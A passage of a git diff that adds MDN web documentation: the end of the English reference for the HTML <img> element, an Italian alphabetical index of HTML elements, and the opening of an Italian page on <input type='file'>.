+ <p><strong>Note:</strong> This attribute is mentioned in the latest {{glossary("W3C")}} version, <a class="external" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, but has been removed from the {{glossary("WHATWG")}}’s <a class="external" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">HTML Living Standard</a>. It has an uncertain future; authors should use a {{glossary("WAI")}}-{{glossary("ARIA")}} alternative such as <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby"><code>aria-describedby</code></a> or <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details"><code>aria-details</code></a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("name")}} {{Obsolete_Inline}}</dt>
+ <dd>A name for the element. Use the {{htmlattrxref("id")}} attribute instead.</dd>
+ <dt>{{htmlattrdef("vspace")}} {{Obsolete_Inline}}</dt>
+ <dd>The number of pixels of white space above and below the image. Use the {{cssxref('margin')}} CSS property instead.</dd>
+</dl>
+
+<h2 id="Styling_with_CSS">Styling with CSS</h2>
+
+<p><code>&lt;img&gt;</code> is a <a href="/en-US/docs/Web/CSS/Replaced_element">replaced element</a>; it has a {{cssxref("display")}} value of <code>inline</code> by default, but its default dimensions are defined by the embedded image's intrinsic values, like it were <code>inline-block</code>. You can set properties like {{cssxref("border")}}/{{cssxref("border-radius")}}, {{cssxref("padding")}}/{{cssxref("margin")}}, {{cssxref("width")}}, {{cssxref("height")}}, etc. on an image.</p>
+
+<p><code>&lt;img&gt;</code> has no baseline, so when images are used in an inline formatting context with {{cssxref("vertical-align")}}<code>: baseline</code>, the bottom of the image will be placed on the text baseline.</p>
+
+<p>You can use the {{cssxref("object-position")}} property to position the image within the element's box, and the {{cssxref("object-fit")}} property to adjust the sizing of the image within the box (for example, whether the image should fit the box or fill it even if clipping is required).</p>
+
+<p>Depending on its type, an image may have an intrinsic width and height. For some image types, however, intrinsic dimensions are unnecessary. {{glossary("SVG")}} images, for instance, have no intrinsic dimensions if their root {{SVGElement("svg")}} element doesn't have a <code>width</code> or <code>height</code> set on it.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Alternative_text">Alternative text</h3>
+
+<p>The following example embeds an image into the page and includes alternative text for accessibility.</p>
+
+<pre class="brush: html notranslate">&lt;img src="https://developer.mozilla.org/static/img/favicon144.png"
+     alt="MDN logo"&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Alternative_text', '100%', '160') }}</p>
+
+<h3 id="Image_link">Image link</h3>
+
+<p>This example builds upon the previous one, showing how to turn the image into a link. To do so, nest the <code>&lt;img&gt;</code> tag inside the {{HTMLElement("a")}}. You should made the alternative text describe the resource the link is pointing to, as if you were using a text link instead.</p>
+
+<pre class="brush: html notranslate">&lt;a href="https://developer.mozilla.org"&gt;
+  &lt;img src="https://developer.mozilla.org/static/img/favicon144.png"
+       alt="Visit the MDN site"&gt;
+&lt;/a&gt;</pre>
+
+<p>{{ EmbedLiveSample('Image_link', '100%', '160') }}</p>
+
+<h3 id="Using_the_srcset_attribute">Using the srcset attribute</h3>
+
+<p>In this example we include a <code>srcset</code> attribute with a reference to a high-resolution version of the logo; this will be loaded instead of the <code>src</code> image on high-resolution devices. The image referenced in the <code>src</code> attribute is counted as a <code>1x</code> candidate in {{glossary("User agent", "user agents")}} that support <code>srcset</code>.</p>
+
+<pre class="brush: html notranslate"> &lt;img src="https://developer.mozilla.org/static/img/favicon72.png"
+      alt="MDN logo"
+      srcset="https://developer.mozilla.org/static/img/favicon144.png 2x"&gt;</pre>
+
+<p>{{EmbedLiveSample("Using_the_srcset_attribute", "100%", "160")}}</p>
+
+<h3 id="Using_the_srcset_and_sizes_attributes">Using the srcset and sizes attributes</h3>
+
+<p>The <code>src</code> attribute is ignored in {{glossary("User agent", "user agents")}} that support <code>srcset</code> when <code>w</code> descriptors are included. When the <code>(max-width: 600px)</code> media condition matches, the 200 pixel-wide image will load (it is the one that matches <code>200px</code> most closely), otherwise the other image will load.</p>
+
+<pre class="brush: html notranslate"> &lt;img src="/files/16864/clock-demo-200px.png"
+      alt="Clock"
+      srcset="/files/16864/clock-demo-200px.png 200w,
+          /files/16797/clock-demo-400px.png 400w"
+      sizes="(max-width: 600px) 200px, 50vw"&gt;</pre>
+
+<p>{{EmbedLiveSample("Using_the_srcset_and_sizes_attributes", "100%", 350)}}</p>
+
+<div class="blockIndicator note">
+<p>To see the resizing in action, <a href="https://mdn.mozillademos.org/en-US/docs/Web/HTML/Element/img$samples/Using_the_srcset_and_sizes_attributes">view the example on a separate page</a>, so you can actually resize the content area.</p>
+</div>
+
+<h2 id="Security_and_privacy_concerns">Security and privacy concerns</h2>
+
+<p>Although <code>&lt;img&gt;</code> elements have innocent uses, they can have undesirable consequences for user security and privacy. See <a href="/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Referer header: privacy and security concerns</a> for more information and mitigations.</p>
+
+<h2 id="Accessibility_concerns">Accessibility concerns</h2>
+
+<h3 id="Authoring_meaningful_alternate_descriptions">Authoring meaningful alternate descriptions</h3>
+
+<p>An <code>alt</code> attribute's value should clearly and concisely describe the image's content. It should not describe the presence of the image itself or the file name of the image. If the <code>alt</code> attribute is purposefully left off because the image has no textual equivalent, consider alternate methods to present what the image is trying to communicate.</p>
+
+<h4 id="Dont">Don't</h4>
+
+<pre class="brush: html example-bad notranslate">&lt;img alt="image" src="penguin.jpg"&gt;
+</pre>
+
+<h4 id="Do">Do</h4>
+
+<pre class="brush: html example-good notranslate">&lt;img alt="A Rockhopper Penguin standing on a beach." src="penguin.jpg"&gt;
+</pre>
+
+<p>When an <code>alt</code> attribute is not present on an image, some screen readers may announce the image's file name instead. This can be a confusing experience if the file name isn't representative of the image's contents.</p>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/WAI/tutorials/images/decision-tree/">An alt Decision Tree • Images • WAI Web Accessibility Tutorials</a></li>
+ <li><a class="external" href="https://axesslab.com/alt-texts/">Alt-texts: The Ultimate Guide — Axess Lab</a></li>
+ <li><a class="external" href="https://www.deque.com/blog/great-alt-text-introduction/">How to Design Great Alt Text: An Introduction | Deque</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/text-equiv-all.html">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="The_title_attribute">The title attribute</h3>
+
+<p>The {{htmlattrxref("title")}} attribute is not an acceptable substitute for the <code>alt</code> attribute. Additionally, avoid duplicating the <code>alt</code> attribute's value in a <code>title</code> attribute declared on the same image. Doing so may cause some screen readers to announce the description twice, creating a confusing experience.</p>
+
+<p>The <code>title</code> attribute should also not be used as supplemental captioning information to accompany an image's <code>alt</code> description. If an image needs a caption, use the <code><a href="/en-US/docs/Web/HTML/Element/figure">figure</a></code> and <code><a href="/en-US/docs/Web/HTML/Element/figcaption">figcaption</a></code> elements.</p>
+
+<p>The value of the <code>title</code> attribute is usually presented to the user as a tooltip, which appears shortly after the cursor stops moving over the image. While this <em>can</em> provide additional information to the user, you should not assume that the user will ever see it: the user may only have keyboard or touchscreen. If you have information that's particularly important or valuable for the user, present it inline using one of the methods mentioned above instead of using <code>title</code>.</p>
+
+<ul>
+ <li><a class="external" href="https://developer.paciellogroup.com/blog/2013/01/using-the-html-title-attribute-updated/">Using the HTML title attribute – updated | The Paciello Group</a></li>
+</ul>
+
+<h2 id="Technical_summary">Technical summary</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Guide/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">phrasing content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Embedded_content">embedded content</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Palpable_content">palpable content</a>. If the element has a <code>usemap</code> attribute, it also is a part of the interactive content category.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>None, it is an {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>Must have a start tag and must not have an end tag.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts embedded content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Implicit ARIA role</th>
+   <td>
+    <ul>
+     <li>with non-empty <code>alt</code> attribute or no <code>alt</code> attribute: <code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Role_Img">img</a></code></li>
+     <li>with empty <code>alt</code> attribute: <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">no corresponding role</a></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>
+    <ul>
+     <li>with non-empty <code>alt</code> attribute:
+      <ul>
+       <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/button_role">button</a></code></li>
+       <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/checkbox_role">checkbox</a></code></li>
+       <li>{{ARIARole("link")}}</li>
+       <li>{{ARIARole("menuitem")}}</li>
+       <li>{{ARIARole("menuitemcheckbox")}}</li>
+       <li>{{ARIARole("menuitemradio")}}</li>
+       <li>{{ARIARole("option")}}</li>
+       <li>{{ARIARole("progressbar")}}</li>
+       <li>{{ARIARole("scrollbar")}}</li>
+       <li>{{ARIARole("separator")}}</li>
+       <li>{{ARIARole("slider")}}</li>
+       <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Switch_role">switch</a></code></li>
+       <li><code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_Role">tab</a></code></li>
+       <li>{{ARIARole("treeitem")}}</li>
+      </ul>
+     </li>
+     <li>with empty <code>alt</code> attribute, {{ARIARole("none")}} or {{ARIARole("presentation")}}</li>
+     <li>with no <code>alt</code> attribute, no <code>role</code> permitted</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLImageElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrerpolicy</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics-embedded-content.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.2', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.img")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Image_types">Image file type and format guide</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+ <li>{{HTMLElement("picture")}}, {{HTMLElement("object")}} and {{HTMLElement("embed")}} elements</li>
+ <li>Other image-related CSS properties: {{cssxref("object-fit")}}, {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, and {{cssxref("image-resolution")}}.</li>
+</ul>
diff --git a/files/it/web/html/element/index.html b/files/it/web/html/element/index.html
new file mode 100644
index 0000000000..d603870350
--- /dev/null
+++ b/files/it/web/html/element/index.html
@@ -0,0 +1,235 @@
+---
+title: Elementi HTML
+slug: Web/HTML/Element
+translation_of: Web/HTML/Element
+---
+<p>Questo riferimento HTML elenca tutti gli <strong>elementi HTML</strong>, definiti in HTML5 o in una precedente versione. Quando inclusi tra parentesi angolari, essi formano il <em>tag</em> <em>HTML</em>: <code>&lt;nomeelemento&gt;.</code> Gli elementi sono entità che specificano come il documento HTML deve essere cosruito, e che tipo di contenuto deve essere posisionato e in quale parte del documento <a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a>.</p>
+
+<p>Questa pagina elenca tutti i tag standard HTML5, ma anche i più vecchi, siano obsoleti e deprecati, così come i non-standard che i borwser potrebbero supportare. Gli elementi che sono stati introdotti con l'<a href="/en-US/docs/HTML/HTML5" title="/en-US/docs/HTML/HTML5">HTML5</a> sono spesso contrassegnati come nuovi elementi HTML5, nonostante gli altri elementi standard siano anch' essi validi in HTML5.</p>
+
+<p>In un documento HTML, un elemento viene definito da un <em>tag di apertura</em>. Se l' elemento inlcude atri contenuti, esso termina con un <em>tag di chiusura</em>, dove il nome dell' elemento viene preceduto da una barra: <code>&lt;/nomeelemento&gt;</code>. Alcuni elementi non necessitano di essere chiusi, come ad esempio gli elementi immagine. Quest' ultimi sono conosciuti come <em>vuoti</em>. Il documento HTML contiene un albero di questi elementi. Ognuno è nominato per rappresentare cosa fa. Ad esempio, l' elemento <code>&lt;title&gt;</code> rappresenta il titolo del documento. Di seguito è presente una lista in ordine alfabetico degli elementi HTML.</p>
+
+<div class="index"><span id="A">A</span>
+
+<ul>
+ <li>{{ HTMLElement("a") }}</li>
+ <li>{{ HTMLElement("abbr") }}</li>
+ <li><s class="obsoleteElement">{{ HTMLElement("acronym") }}</s></li>
+ <li>{{ HTMLElement("address") }}</li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("applet") }}</s></li>
+ <li>{{ HTMLElement("area") }}</li>
+ <li class="html5">{{ HTMLElement("article") }}{{HTMLVersionInline("5")}}</li>
+ <li class="html5">{{ HTMLElement("aside") }}{{HTMLVersionInline("5")}}</li>
+ <li class="html5">{{ HTMLElement("audio") }}{{HTMLVersionInline("5")}}</li>
+</ul>
+<span id="B">B</span>
+
+<ul>
+ <li>{{ HTMLElement("b") }}</li>
+ <li>{{ HTMLElement("base") }}</li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("basefont") }}</s></li>
+ <li class="html5">{{ HTMLElement("bdi") }}{{HTMLVersionInline("5")}}</li>
+ <li>{{ HTMLElement("bdo") }}</li>
+ <li><s class="nonStdElement">{{ HTMLElement("bgsound") }}</s></li>
+ <li><s class="obsoleteElement">{{ HTMLElement("big") }}</s></li>
+ <li><s class="nonStdElement">{{ HTMLElement("blink") }}</s></li>
+ <li>{{ HTMLElement("blockquote") }}</li>
+ <li>{{ HTMLElement("body") }}</li>
+ <li>{{ HTMLElement("br") }}</li>
+ <li>{{ HTMLElement("button") }}</li>
+</ul>
+<span id="C">C</span>
+
+<ul>
+ <li class="html5">{{ HTMLElement("canvas") }}</li>
+ <li>{{ HTMLElement("caption") }}</li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("center") }}</s></li>
+ <li>{{ HTMLElement("cite") }}</li>
+ <li>{{ HTMLElement("code") }}</li>
+ <li>{{ HTMLElement("col") }}</li>
+ <li>{{ HTMLElement("colgroup") }}</li>
+ <li class="html5">{{ HTMLElement("command") }}</li>
+</ul>
+<span id="D">D</span>
+
+<ul>
+ <li class="html5">{{ HTMLElement("data") }}</li>
+ <li class="html5">{{ HTMLElement("datalist") }}</li>
+ <li>{{ HTMLElement("dd") }}</li>
+ <li>{{ HTMLElement("del") }}</li>
+ <li class="html5">{{ HTMLElement("details") }}</li>
+ <li>{{ HTMLElement("dfn") }}</li>
+ <li>{{ HTMLElement("dialog") }}</li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("dir") }}</s></li>
+ <li>{{ HTMLElement("div") }}</li>
+ <li>{{ HTMLElement("dl") }}</li>
+ <li>{{ HTMLElement("dt") }}</li>
+</ul>
+<span id="E">E</span>
+
+<ul>
+ <li>{{ HTMLElement("em") }}</li>
+ <li class="html5">{{ HTMLElement("embed") }}</li>
+</ul>
+<span id="F">F</span>
+
+<ul>
+ <li>{{ HTMLElement("fieldset") }}</li>
+ <li>{{ HTMLElement("figcaption") }}</li>
+ <li class="html5">{{ HTMLElement("figure") }}</li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("font") }}</s></li>
+ <li class="html5">{{ HTMLElement("footer") }}</li>
+ <li>{{ HTMLElement("form") }}</li>
+ <li><s class="obsoleteElement">{{ HTMLElement("frame") }}</s></li>
+ <li><s class="obsoleteElement">{{ HTMLElement("frameset") }}</s></li>
+</ul>
+<span id="G">G H</span>
+
+<ul>
+ <li>{{ HTMLElement("h1") }}</li>
+ <li>{{ HTMLElement("h2") }}</li>
+ <li>{{ HTMLElement("h3") }}</li>
+ <li>{{ HTMLElement("h4") }}</li>
+ <li>{{ HTMLElement("h5") }}</li>
+ <li>{{ HTMLElement("h6") }}</li>
+ <li>{{ HTMLElement("head") }}</li>
+ <li class="html5">{{ HTMLElement("header") }}</li>
+ <li class="html5"><s class="obsoleteElement">{{ HTMLElement("hgroup") }}</s></li>
+ <li>{{ HTMLElement("hr") }}</li>
+ <li>{{ HTMLElement("html") }}</li>
+</ul>
+<span id="I">I</span>
+
+<ul>
+ <li>{{ HTMLElement("i") }}</li>
+ <li>{{ HTMLElement("iframe") }}</li>
+ <li>{{ HTMLElement("img") }}</li>
+ <li>{{ HTMLElement("input") }}</li>
+ <li>{{ HTMLElement("ins") }}</li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("isindex") }}</s></li>
+</ul>
+<span id="J">J K</span>
+
+<ul>
+ <li>{{ HTMLElement("kbd") }}</li>
+ <li class="html5"><s class="deprecatedElement obsoleteElement">{{ HTMLElement("keygen") }}</s></li>
+</ul>
+<span id="L">L</span>
+
+<ul>
+ <li>{{ HTMLElement("label") }}</li>
+ <li>{{ HTMLElement("legend") }}</li>
+ <li>{{ HTMLElement("li") }}</li>
+ <li>{{ HTMLElement("link") }}</li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("listing") }}</s></li>
+</ul>
+<span id="M">M</span>
+
+<ul>
+ <li class="html5">{{HTMLElement("main")}}</li>
+ <li>{{ HTMLElement("map") }}</li>
+ <li class="html5">{{ HTMLElement("mark") }}</li>
+ <li><s class="nonStdElement">{{ HTMLElement("marquee") }}</s></li>
+ <li class="html5">{{ HTMLElement("menu") }}</li>
+ <li>{{ HTMLElement("meta") }}</li>
+ <li class="html5">{{ HTMLElement("meter") }}</li>
+</ul>
+<span id="N">N</span>
+
+<ul>
+ <li class="html5">{{ HTMLElement("nav") }}</li>
+ <li><s class="nonStdElement">{{ HTMLElement("nobr") }}</s></li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("noframes") }}</s></li>
+ <li>{{ HTMLElement("noscript") }}</li>
+</ul>
+<span id="O">O</span>
+
+<ul>
+ <li>{{ HTMLElement("object") }}</li>
+ <li>{{ HTMLElement("ol") }}</li>
+ <li>{{ HTMLElement("optgroup") }}</li>
+ <li>{{ HTMLElement("option") }}</li>
+ <li class="html5">{{ HTMLElement("output") }}</li>
+</ul>
+<span id="P">P</span>
+
+<ul>
+ <li>{{ HTMLElement("p") }}</li>
+ <li>{{ HTMLElement("param") }}</li>
+ <li>{{ HTMLElement("picture") }}</li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("plaintext") }}</s></li>
+ <li>{{ HTMLElement("pre") }}</li>
+ <li class="html5">{{ HTMLElement("progress") }}</li>
+</ul>
+<span id="Q">Q</span>
+
+<ul>
+ <li>{{ HTMLElement("q") }}</li>
+</ul>
+<span id="R">R</span>
+
+<ul>
+ <li class="html5">{{ HTMLElement("rp") }}</li>
+ <li class="html5">{{ HTMLElement("rt") }}</li>
+ <li class="html5">{{ HTMLElement("rtc") }}</li>
+ <li class="html5">{{ HTMLElement("ruby") }}</li>
+</ul>
+<span id="S">S</span>
+
+<ul>
+ <li>{{ HTMLElement("s") }}</li>
+ <li>{{ HTMLElement("samp") }}</li>
+ <li>{{ HTMLElement("script") }}</li>
+ <li class="html5">{{ HTMLElement("section") }}</li>
+ <li>{{ HTMLElement("select") }}</li>
+ <li>{{ HTMLElement("small") }}</li>
+ <li class="html5">{{ HTMLElement("source") }}</li>
+ <li><s class="nonStdElement">{{ HTMLElement("spacer") }}</s></li>
+ <li>{{ HTMLElement("span") }}</li>
+ <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("strike") }}</s></li>
+ <li>{{ HTMLElement("strong") }}</li>
+ <li>{{ HTMLElement("style") }}</li>
+ <li>{{ HTMLElement("sub") }}</li>
+ <li class="html5">{{ HTMLElement("summary") }}</li>
+ <li>{{ HTMLElement("sup") }}</li>
+</ul>
+<span id="T">T</span>
+
+<ul>
+ <li>{{ HTMLElement("table") }}</li>
+ <li>{{ HTMLElement("tbody") }}</li>
+ <li>{{ HTMLElement("td") }}</li>
+ <li>{{ HTMLElement("template") }}</li>
+ <li>{{ HTMLElement("textarea") }}</li>
+ <li>{{ HTMLElement("tfoot") }}</li>
+ <li>{{ HTMLElement("th") }}</li>
+ <li>{{ HTMLElement("thead") }}</li>
+ <li class="html5">{{ HTMLElement("time") }}</li>
+ <li>{{ HTMLElement("title") }}</li>
+ <li>{{ HTMLElement("tr") }}</li>
+ <li class="html5">{{ HTMLElement("track") }}</li>
+ <li><s class="obsoleteElement">{{ HTMLElement("tt") }}</s></li>
+</ul>
+<span id="U">U</span>
+
+<ul>
+ <li>{{ HTMLElement("u") }}</li>
+ <li>{{ HTMLElement("ul") }}</li>
+</ul>
+<span id="V">V</span>
+
+<ul>
+ <li>{{ HTMLElement("var") }}</li>
+ <li class="html5">{{ HTMLElement("video") }}</li>
+</ul>
+<span id="W">W</span>
+
+<ul>
+ <li class="html5">{{ HTMLElement("wbr") }}</li>
+</ul>
+<span id="X">X Y Z </span>
+
+<ul>
+ <li><span id="X"><s class="deprecatedElement obsoleteElement">{{ HTMLElement("xmp") }}</s></span></li>
+</ul>
+</div>
diff --git a/files/it/web/html/element/input/file/index.html b/files/it/web/html/element/input/file/index.html
new file mode 100644
index 0000000000..1c67ba6c45
--- /dev/null
+++ b/files/it/web/html/element/input/file/index.html
@@ -0,0 +1,520 @@
+---
+title: <input type="file">
+slug: Web/HTML/Element/input/file
+translation_of: Web/HTML/Element/input/file
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Gli elementi {{HTMLElement("input")}} con <strong><code>type="file"</code></strong> danno all'utente la possibilità di scegliere uno o più file dalla memoria del proprio dispositivo. Una volta scelti, i file possono essere caricati su un server usando l'<a href="/it/docs/Learn/HTML/Forms">invio del modulo</a>, oppure manipolati usando del codice JavaScript e l'<a href="/it/docs/Web/API/File/Using_files_from_web_applications">API File</a></span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-file.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Il codice sorgente di questo esempio interattivo è salvato in un repository GitHub. Se volessi contribuire al progetto di esempi interattivi, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ed inviaci una "pull request".</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>Una {{domxref("DOMString")}} che rappresenta il percorso del file selezionato.</td>
+  </tr>
+  <tr>
+   <td><strong>Eventi</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} e {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributi comuni supportati</strong></td>
+   <td>{{htmlattrxref("required", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributi aggiuntivi</strong></td>
+   <td>{{htmlattrxref("accept", "input/file")}}, {{htmlattrxref("capture", "input/file")}}, {{htmlattrxref("files", "input/file")}}, {{htmlattrxref("multiple", "input/file")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributi IDL</strong></td>
+   <td><code>files</code> e <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Interfaccia DOM</strong></td>
+   <td>
+    <p>{{domxref("HTMLInputElement")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>Proprietà</strong></td>
+   <td>
+    <p><a href="/it/docs/Web/API/HTMLInputElement#Properties_file">Proprietà che si applicano soload elementi di tipo file</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td><strong>Metodi</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Value">Value</h2>
+
+<p>L'attributo <code>value</code> di un <code>file</code> contiene una {{domxref("DOMString")}} che rappresenta il percorso del file selezionato. Se l'utente seleziona più di un file, l'attributo <code>value</code> rappresenta il primo file nella lista di quelli selezionati. Gli altri file possono essere identificati usando la proprietà <code>HTMLInputElement.files</code>.</p>
+
+<div class="note"><strong>Note:</strong>
+
+<ol>
+ <li>Se vengono selezionati più file, la stringa rappresenta il primo. JavaScript può accedere agli atri file <a href="/it/docs/Using_files_from_web_applications#Getting_information_about_selected_files">attraverso la proprietà <code>files</code> dell'elemento <code>input</code></a></li>
+ <li>Se non è stato ancora selezionato nessun file, la stringa è <code>""</code> (vuota)</li>
+ <li>Alla stringa viene aggiunto il prefisso <code>C:\fakepath\</code>,  per impedire a software malevolo di intuire la struttura del filesystem dell'utente.</li>
+</ol>
+</div>
+
+<h2 id="Attributi_aggiuntivi">Attributi aggiuntivi</h2>
+
+<p>In aggiunta agli attributi comuni a tutti gli elementi {{HTMLElement("input")}}, gli <code>input</code> di tipo <code>file</code> supportano anche i seguenti: </p>
+
+
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attributo</th>
+   <th scope="col">Descrizone</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("accept")}}</code></td>
+   <td>Uno o più {{anch("Identificatori univoci del tipo di file", "Identificatori univoci del tipo di file")}} che descrivono i tipi di file ammessi</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("capture")}}</code></td>
+   <td>La sorgente da utilizzare per catturare immagini o dati video</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("files")}}</code></td>
+   <td>Una {{domxref("FileList")}} che elenca i file scelti</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("multiple")}}</code></td>
+   <td>Un valore booleano che, se presente, indica che l'utente può selezionare più di un file</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefaccept">{{htmlattrdef("accept")}}</h3>
+
+<p>Il valore dell'attributo <code><a href="/it/docs/Web/HTML/Attributes/accept">accept</a></code> è una stringa che definisce i tipi di file che l'<code>input</code> accetta.<br>
+ La stringa è un lista di <strong>{{anch("Identificatori univoci del tipo di file", "Identificatori univoci del tipo di file")}}</strong> separati da virgola. Poiché un determinato tipo di file può essere identificato in più di un modo, è utile fornire un set completo di identificatori di tipo quando sono necessari file di un determinato formato.</p>
+
+<p>Per esempio, ci sono diversi modi in cui un file di Microsoft Word può essere identificato, quindi un sito che accetta file di Word dovrebbe utilizzare un <code>input</code> come questo:</p>
+
+<pre class="brush: html">&lt;input type="file" id="docpicker"
+  accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"&gt;</pre>
+
+<h3 id="htmlattrdefcapture">{{htmlattrdef("capture")}}</h3>
+
+<p>Il valore dell'attributo <code><a href="/it/docs/Web/HTML/Attributes/capture">capture</a></code> è una stringa che specifica quale camera utilizzare per catturare immagini o dati video, se l'attributo <code><a href="/it/docs/Web/HTML/Attributes/accept">accept</a></code> indica che l'input possa essere di uno di questi due tipi. Il valore <code>user</code> indica che devono essere usati il microfono e/o la camera frontali (lato utente). Il valore <code>environment</code> specifica che devono essere usati il microfono e/o la camera posteriori (lato ambiente). Se l'attributo manca, lo {{Glossary("user agent")}} è libero di scegliere quale tra i due utilizzare secodo le proprie specifiche. Se lo strumento di cattura indicato non è presente, lo {{Glossary("user agent")}} può far ricadere la scelta sulla propria modalità predefinita.</p>
+
+<div class="note"><strong>Note:</strong> <code>capture</code> originariamente era un attributo booleano che, se presente, richiedeva l'utilizzo di un dispositivo di acquisizione multimediale invece del caricamento di un file.</div>
+
+<h3 id="htmlattrdeffiles">{{htmlattrdef("files")}}</h3>
+
+<p>Un oggetto {{domxref("FileList")}} che elenca tutti i file selezionati. Questa lista contiene al massimo un elemento, salvo che non sia stato specificato l'attributo {{htmlattrxref("multiple", "input/file")}}.</p>
+
+<h3 id="htmlattrdefmultiple">{{htmlattrdef("multiple")}}</h3>
+
+<p>Quando l'attributo booleano <a href="/en-US/docs/Web/HTML/Attributes/multiple"><code>multiple</code></a> è specificato, il controllo consente di caricare più di un file.</p>
+
+<h2 id="Attributi_non_standard">Attributi non standard</h2>
+
+<p>Oltre agli atributi elencati sopra, su alcuni browser sono disponibili anche i seguenti attributi. In generale è consigliabile evitarne l'utilizzo laddove possibile, per consentire una completa funzionalità anche sui browser che non li implementano.</p>
+
+<table class="standard-table" style="">
